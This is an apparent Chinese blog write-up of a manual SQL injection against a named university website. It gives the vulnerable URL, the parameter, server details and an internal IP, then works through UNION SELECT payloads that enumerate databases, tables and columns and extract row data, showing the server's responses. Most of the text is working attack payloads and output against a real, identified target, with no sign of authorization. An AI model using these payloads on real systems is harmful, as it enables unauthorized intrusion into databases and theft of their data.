记一次MySQL手工注入案例
记录一次手动注入学校某站MySQL的过程
信息收集
发现方式
子域名扫描 -> 导入awvs -> 批量扫blind-injection
url
http://home.bjtu.edu.cn/
info(whatweb)
- 202.112.147.124(学校内网)
- Apache/2.4.9
- Win64
- PHP/5.5.12
parameter
http://home.bjtu.edu.cn/ctrl/vote/ajax_vote_response.php?req=3&tid=1
- tid (GET)
测试
确认注入 =>tid
分号报错，有回显：
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6
判断版本 >4.0
and ord(mid(version(),1,1))>51
返回正常，说明版本>4.0，支持union
查字段数 =>5
order by+二分法
tid=1 and order by 6=> Unknown column ‘6’ in ‘order clause’tid=1 and order by 5=> [{“item_title”:”3”,”item_id”:”3”,”item_count”:36},{“item_title”:”4”,”item_id”:”4”,”item_count”:22},{“item_title”:”5”,”item_id”:”5”,”item_count”:66},{“item_title”:”\u5b66\u4e60\u8bdd\u98981-\u89c2\u70b92”,”item_id”:”2”,”item_count”:84},{“item_title”:”\u5b66\u4e60\u8bdd\u98981-\u89c2\u70b9\u4e00”,”item_id”:”1”,”item_count”:103}]
union+select
tid=1 and 1=2 union select 1,2,3,4,5...,n
- 错误输出：
The used SELECT statements have a different number of columns
- 正确输出：
[{"item_title":"2","item_id":"1","item_count":4}]
信息收集
and 1=2 union select [function],-1,-1,-1,-1
- version() 查询数据库版本=>5.6.17
- database() 查询当前连接的数据库=>stu
- @@version_compile_os 查询当前操作系统=>Win64
- @@datadir 查询读取数据库路径=>c:\wamp\bin\mysql\mysql5.6.17\data\
- @@basedir 查询MYSQL安装路径
获取所有库名
in
select * from stu where tid=1 and 1=2 union select SCHEMA_NAME,-1,-1,-1,-1 from information_schema.columns;
或者：
select * from stu where tid=1 and 1=2 union select table_schema,-1,-1,-1,-1 from information_schema.columns;
out
[{"item_title":"-1","item_id":"information_schema","item_count":-1},
{"item_title":"-1","item_id":"mysql","item_count":-1},
{"item_title":"-1","item_id":"performance_schema","item_count":-1},
{"item_title":"-1","item_id":"stu","item_count":-1},
{"item_title":"-1","item_id":"student","item_count":-1}]获取stu中的表名
in(含处理输出格式)
select * from stu where tid=1 and 1=2 union select concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-1,-1 from information_schema.columns where table_schema="stu";out
[{"item_title":"-1","item_id":"[xxoo] fsa_about, fsa_contest_and_project, fsa_css3_example, fsa_nav_feedback, fsa_nav_feedback_type, fsa_nav_list, fsa_nav_page_list, fsa_nav_page_list_1, fsa_nav_page_list_395, fsa_nav_page_list_396, fsa_nav_page_list_398, fsa_nav_page_list_399, fsa_nav_page_list_400, fsa_nav_page_list_401, fsa_nav_page_list_402, fsa_nav_page_list_403, fsa_nav_page_list_404, fsa_nav_ ... [xxoo]","item_count":-1}]获取fsa_vote_topic中的列名
in
and 1=2 union select concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT column_name),0x5B78786F6F5D),-1,-1,-1,-1 from information_schema.columns where table_name='fsa_vote_topic'out
{"item_title":"-1","item_id":"[xxoo] topic_id, topic_title, topic_type_id [xxoo]","item_count":-1}]确定字段数
in
and 1=2 union select concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-1,-1,-1,-1 from fsa_vote_topicout
[{"item_title":"-1","item_id":"[xxoo] 12 [xxoo]","item_count":-1}]
获取字段值
in
依次改变limit值可爆出多列内容
and 1=0 union select concat(0x5B78786F6F5D,topic_title,0x5B78786F6F5D),-1,-1,-1,-1 from fsa_vote_topic LIMIT 0,1out
[{"item_title":"-1","item_id":"[xxoo] \u5b66\u4e60\u8bdd\u98981 [xxoo]","item_count":-1}]解码后为=> 学习话题1
注意
在写payload时，特别注意函数中的参数不用加引号，而使用等号赋值时需要加引号．
不加的情况(topic_title)(fsa_vote_topic):
concat(0x5B78786F6F5D,topic_title,0x5B78786F6F5D)
from fsa_vote_topic LIMIT 0,1
加的情况(有等号赋值时)
here table_name='fsa_vote_topic'